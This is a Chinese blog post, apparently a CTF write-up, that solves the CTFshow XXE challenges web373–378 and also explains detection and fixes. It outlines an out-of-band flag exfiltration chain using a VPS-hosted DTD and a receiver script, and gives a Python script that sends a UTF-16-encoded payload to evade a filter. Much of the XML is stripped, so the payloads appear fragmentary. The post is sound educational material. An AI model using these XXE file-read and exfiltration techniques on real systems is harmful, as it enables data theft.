前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTFshow_Web_XXE

CTFshow_Web_XXE

作者头像
用户2616264
发布2023-05-18 11:33:50
3640
发布2023-05-18 11:33:50
举报
文章被收录于专栏:penetrationpenetration

知识点:

1、XML&XXE-原理&发现&利用&修复等 2、XML&XXE-黑盒模式下的发现与利用 3、XML&XXE-白盒模式下的审计与利用 4、XML&XXE-无回显&伪协议&产生层面

思路点:

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html -XXE黑盒发现: 1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试 2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe 3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行 -XXE白盒发现: 1、可通过应用功能追踪代码定位审计 2、可通过脚本特定函数搜索定位审计 3、可通过伪协议玩法绕过相关修复等

详细点: XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异: XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息 ,而 XML 旨在传输信息。

XXE修复防御方案:

-方案1-禁用外部实体 PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); Python: from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

-方案2-过滤用户提交的XML数据 过滤关键词:

web373

flagl路径是/flag

代码语言:javascript
复制
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    // 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
    // 节点嵌套
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

payload

代码语言:javascript
复制
使用post请求



]>

&xxe;

web374-376

代码语言:javascript
复制
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了 看了web376,正则加了 i ,那上一题应该是大写绕过

payload

代码语言:javascript
复制
首先vps创建pd.dtd文件

 
">

然后在创建xxe.php接受flag



然后使用burp修改成post请求


%remote;%int;%send;
]>

web377

代码语言:javascript
复制
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    


这次增加了http的过滤,可用编码进行绕过
代码语言:javascript
复制
import requests
url = "http://75cca4df-23bf-4424-90df-f32974fb10b9.challenge.ctf.show/"
payload = """
        
        %remote;%int;%send;
        ]>
        """
payload = payload.encode('utf-16')
requests.post(url ,data=payload)

web378

抓包发现传输是xml形式,直接读取问阿金

代码语言:javascript
复制
]>


&f;
admin
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-02-17 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 知识点:
  • 思路点:
  • XXE修复防御方案:
  • web373
  • web374-376
  • web377
  • web378
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档